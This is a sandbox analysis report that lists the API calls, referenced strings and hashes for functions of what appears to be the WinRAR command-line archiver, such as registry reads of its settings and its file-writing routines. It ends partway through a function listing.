Instruction Fuzzy Hash: 9F712732A0568946DB44DF26E8153EE7391F7CAF98F044139CB5CCB399DF38A051A7A0

Function 00007FF629B33EA8 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 491
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF629B33EF9
GetModuleFileNameW.KERNEL32(?,?,?,?,?,?,?,?,00007FF629B33E8F,?,00007FF629B27E90), ref: 00007FF629B33F14
snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF629B343C6

Strings

RTL, xrefs: 00007FF629B3437A
STRINGS, xrefs: 00007FF629B34219
DIALOG, xrefs: 00007FF629B34227
$%s:, xrefs: 00007FF629B3439E
*messages***, xrefs: 00007FF629B34050
,, xrefs: 00007FF629B343FB
\, xrefs: 00007FF629B34519
@%s:, xrefs: 00007FF629B343A5
MENU, xrefs: 00007FF629B34235
*messages***, xrefs: 00007FF629B34080
DIRECTION, xrefs: 00007FF629B34243

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: FileModuleNamesnprintfwcschr
String ID: ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS$\
API String ID: 602362809-1645646101
Opcode ID: 13040d61f0e7da43208126d1082a5dded3eea02b21a4f98514b48b8c6faaa874
Instruction ID: 8161c213a3807916885d82d8e2f9e4e9db2a875abd41e443791f49462544cdd8
Opcode Fuzzy Hash: 13040d61f0e7da43208126d1082a5dded3eea02b21a4f98514b48b8c6faaa874
Instruction Fuzzy Hash: 2122C322A1868A86EF20DF25DC402FF2361FF86785F814135EA4EC76D5EE2CE544E746

Function 00007FF629B04FD0 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 293
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF629B05043
wcschr.LIBVCRUNTIME ref: 00007FF629B05129

Strings

AFUMD, xrefs: 00007FF629B05122
stdin, xrefs: 00007FF629B052C2
.part, xrefs: 00007FF629B050A5
.rar, xrefs: 00007FF629B050E6
FUADPXETK, xrefs: 00007FF629B0503C
.rar, xrefs: 00007FF629B0508E

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: wcschr
String ID: .part$.rar$.rar$AFUMD$FUADPXETK$stdin
API String ID: 1497570035-1281034975
Opcode ID: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction ID: aa73b7c0323c4aa3b414b6632a164384388990c6da47d0e8f1547e2e0cbc4ec8
Opcode Fuzzy Hash: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction Fuzzy Hash: F6C1B561A1C68A41EF24AF368E551FE2251EFC7B86F444135D94ECBADADE6CE500E303

Function 00007FF629B37F24 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF629B3805C

Part of subcall function 00007FF629B3B3F0: GetSystemDirectoryW.KERNEL32 ref: 00007FF629B3B41E

GetProcAddressForCaller.KERNELBASE ref: 00007FF629B37F88
GetProcAddress.KERNEL32 ref: 00007FF629B37FA3

Strings

CryptProtectMemory, xrefs: 00007FF629B37F7E
CryptUnprotectMemory, xrefs: 00007FF629B37F95
Crypt32.dll, xrefs: 00007FF629B37F66
CryptUnprotectMemory failed, xrefs: 00007FF629B38053
CryptProtectMemory failed, xrefs: 00007FF629B38009

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: AddressProc$CallerCurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 1389829785-2207617598
Opcode ID: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction ID: a6f110799d4c9c245db3dc7160ac68d1cb02eaf2a897cb33ed63e2d9b08d0a3e
Opcode Fuzzy Hash: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction Fuzzy Hash: 87416A21A08A8F92FE04CF22AD405BE6760BBDABD6F084135CC5D87B54DE6CE445A306

Function 00007FF629B4B0FC Relevance: 13.6, APIs: 9, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF629B4B110

Part of subcall function 00007FF629B4AA8C: __isa_available_init.LIBCMT ref: 00007FF629B4AAA9
Part of subcall function 00007FF629B4AA8C: __vcrt_initialize.LIBVCRUNTIME ref: 00007FF629B4AAAE

__scrt_fastfail.LIBCMT ref: 00007FF629B4B11E

Part of subcall function 00007FF629B4B52C: IsProcessorFeaturePresent.KERNEL32 ref: 00007FF629B4B548
Part of subcall function 00007FF629B4B52C: RtlCaptureContext.KERNEL32 ref: 00007FF629B4B571
Part of subcall function 00007FF629B4B52C: RtlLookupFunctionEntry.KERNEL32 ref: 00007FF629B4B58B
Part of subcall function 00007FF629B4B52C: RtlVirtualUnwind.KERNEL32 ref: 00007FF629B4B5CC
Part of subcall function 00007FF629B4B52C: IsDebuggerPresent.KERNEL32 ref: 00007FF629B4B620
Part of subcall function 00007FF629B4B52C: SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF629B4B641
Part of subcall function 00007FF629B4B52C: UnhandledExceptionFilter.KERNEL32 ref: 00007FF629B4B64C

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF629B4B12C
__scrt_fastfail.LIBCMT ref: 00007FF629B4B143
__scrt_release_startup_lock.LIBCMT ref: 00007FF629B4B1A0
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF629B4B1B6
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF629B4B1E6
__scrt_is_managed_app.LIBCMT ref: 00007FF629B4B21B
__scrt_uninitialize_crt.LIBCMT ref: 00007FF629B4B239

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled__scrt_fastfail__scrt_is_nonwritable_in_current_image$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual__isa_available_init__scrt_acquire_startup_lock__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt__vcrt_initialize
String ID:
API String ID: 552178382-0
Opcode ID: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction ID: 550618c8203608b9d62088f207d803e6a01c4381e66cecb2415813e4a25695b1
Opcode Fuzzy Hash: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction Fuzzy Hash: A9313A25E0825B81FE14AF65AC613BF2391AFC7786F446039DB0D87293DE2CA404BA43

Function 00007FF629B34774 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,00007FF629B3495D,?,?,?,00007FF629B27E7D), ref: 00007FF629B347DB
RegQueryValueExW.ADVAPI32(?,?,?,?,?,00007FF629B3495D,?,?,?,00007FF629B27E7D), ref: 00007FF629B34831
ExpandEnvironmentStringsW.KERNEL32(?,?,?,?,?,00007FF629B3495D,?,?,?,00007FF629B27E7D), ref: 00007FF629B34853
RegCloseKey.ADVAPI32(?,?,?,?,?,00007FF629B3495D,?,?,?,00007FF629B27E7D), ref: 00007FF629B348A6

Strings

LanguageFolder, xrefs: 00007FF629B34806
Software\WinRAR\General, xrefs: 00007FF629B347CD

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: CloseEnvironmentExpandOpenQueryStringsValue
String ID: LanguageFolder$Software\WinRAR\General
API String ID: 1800380464-3408810217
Opcode ID: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
Instruction ID: 42c24c7243c440396f70a326605627deeab1340046850c1c771157b0a0a7997d
Opcode Fuzzy Hash: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
Instruction Fuzzy Hash: FF318F22B18A8A82EF50DF65EC142EF6351FFC6795F405231EE4D86B99EE6CD108DB01

Function 00007FF629B24398 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,00000800,00000000,00000000,00007FF629B238CB,?,?,?,00007FF629B241EC), ref: 00007FF629B243D1
RegQueryValueExW.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF629B238CB,?,?,?,00007FF629B241EC), ref: 00007FF629B24402
RegCloseKey.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF629B238CB,?,?,?,00007FF629B241EC), ref: 00007FF629B2440D
GetModuleFileNameW.KERNEL32(?,?,?,?,00000800,00000000,00000000,00007FF629B238CB,?,?,?,00007FF629B241EC), ref: 00007FF629B2443E

Strings

Software\WinRAR\Paths, xrefs: 00007FF629B243BC
AppData, xrefs: 00007FF629B243F7

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: CloseFileModuleNameOpenQueryValue
String ID: AppData$Software\WinRAR\Paths
API String ID: 3617018055-3415417297
Opcode ID: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
Instruction ID: 63719af3fa7ba5164a17af5c5646927db59b864b90a8391fb66a9e55821a62f4
Opcode Fuzzy Hash: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
Instruction Fuzzy Hash: 7C119022A1874A81EE109F22E8005AF7361FFCABC5F441135EA4E47A59DF3CE104E701

Function 00007FF629AF7A5B Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H9, xrefs: 00007FF629AF7BF3

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID:
String ID: H9
API String ID: 0-2207570329
Opcode ID: 479a09c780d4be94e5648284cf9069ca7028a91d6761c81901c4d854d78fe811
Instruction ID: db68cf0092f5f993d8541a33a934194d491f230e24f3cb7ca196ea82e394cb5a
Opcode Fuzzy Hash: 479a09c780d4be94e5648284cf9069ca7028a91d6761c81901c4d854d78fe811
Instruction Fuzzy Hash: DCE1CD62A08B9685EF10DF25E848AFD33A9EB8678CF464035CE4D83785DF39E554E702

Function 00007FF629B12574 Relevance: 7.6, APIs: 5, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 00007FF629B125B0
WriteFile.KERNEL32 ref: 00007FF629B125F9
WriteFile.KERNELBASE ref: 00007FF629B1262E
GetLastError.KERNEL32 ref: 00007FF629B12658
SetLastError.KERNEL32 ref: 00007FF629B12689

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: ErrorFileLastWrite$Handle
String ID:
API String ID: 3350704910-0
Opcode ID: ccd0c3e83433efd0ca407849e79df603d5f0c90f747e6cdc6739dd31fcb0c28b
Instruction ID: 8be5f2f13f5ed4632f998a332eb22bf9303573ec44935bac522aece2ce0adbfe
Opcode Fuzzy Hash: ccd0c3e83433efd0ca407849e79df603d5f0c90f747e6cdc6739dd31fcb0c28b
Instruction Fuzzy Hash: 2E515326B0864687EE64DF26E85437F6360FBCBB86F440135DA4E87A90CF3CE545DA02

Function 00007FF629B11E80 Relevance: 7.6, APIs: 5, Instructions: 127
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF629B11F4A
GetLastError.KERNEL32 ref: 00007FF629B11F59
CreateFileW.KERNELBASE ref: 00007FF629B11F99
GetLastError.KERNEL32 ref: 00007FF629B11FA2
SetFileTime.KERNEL32 ref: 00007FF629B11FF1

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
Instruction ID: b3a3e73ceca4aafdf5562462dea549688ddc84b643d04d0871b6ebf573549a2b
Opcode Fuzzy Hash: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
Instruction Fuzzy Hash: 66411272A1868946FF608F25A8047AE6B90A787BB9F000338DE79866C4DF7CD4459B01

Function 00007FF629B06AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF629B06C13

Strings

rar.ini, xrefs: 00007FF629B06B37
switches=, xrefs: 00007FF629B06B80
switches_%ls=, xrefs: 00007FF629B06C03

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: swprintf
String ID: rar.ini$switches=$switches_%ls=
API String ID: 233258989-2235180025
Opcode ID: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction ID: 983430fdd9190cfc4e4024a64143ae32adc431a542eba9cc93e345827380f589
Opcode Fuzzy Hash: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction Fuzzy Hash: 93419C22A1869A82EF10EF31D9511FE33A0EB867A5F400635EA5D87AD5EF3CE541E301

Function 00007FF629B27E20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF629B3B470: GetModuleHandleW.KERNEL32 ref: 00007FF629B3B488
Part of subcall function 00007FF629B3B470: GetProcAddress.KERNEL32 ref: 00007FF629B3B4A0
Part of subcall function 00007FF629B3B470: GetProcAddress.KERNEL32 ref: 00007FF629B3B4D5

Part of subcall function 00007FF629B07A68: setbuf.LIBCMT ref: 00007FF629B07A7B
Part of subcall function 00007FF629B07A68: setbuf.LIBCMT ref: 00007FF629B07A8F

SetErrorMode.KERNELBASE ref: 00007FF629B27E5D
GetModuleHandleW.KERNEL32 ref: 00007FF629B27E65

Part of subcall function 00007FF629B348CC: GetVersionExW.KERNEL32(?,?,?,00007FF629B27E7D), ref: 00007FF629B3496A
Part of subcall function 00007FF629B348CC: LoadLibraryW.KERNELBASE(?,?,?,00007FF629B27E7D), ref: 00007FF629B34993

new.LIBCMT ref: 00007FF629B27EA8

Strings

rar.lng, xrefs: 00007FF629B27E7D

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: AddressHandleModuleProcsetbuf$ErrorLibraryLoadModeVersion
String ID: rar.lng
API String ID: 553376247-2410228151
Opcode ID: da8370b5298aa504e96f4bedb37cf3b824543d1dd7ee1d37a7dea72557966179
Instruction ID: d4ba7444327b855b6b2a430bda9e154c88c698ae8781e0f8830a8d3bc8c3ce5b
Opcode Fuzzy Hash: da8370b5298aa504e96f4bedb37cf3b824543d1dd7ee1d37a7dea72557966179
Instruction Fuzzy Hash: AF41AF21E0C28B42EF14AF219D512BF6391AFC7796F580138E90D8BAD7DE2DF405A716

Function 00007FF629B240A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetMalloc.SHELL32(?,00000800,?,00007FF629B24432,?,?,?,?,00000800,00000000,00000000,00007FF629B238CB,?,?,?,00007FF629B241EC), ref: 00007FF629B240C4
SHGetSpecialFolderLocation.SHELL32(?,?,?,?,00000800,00000000,00000000,00007FF629B238CB,?,?,?,00007FF629B241EC), ref: 00007FF629B240DF
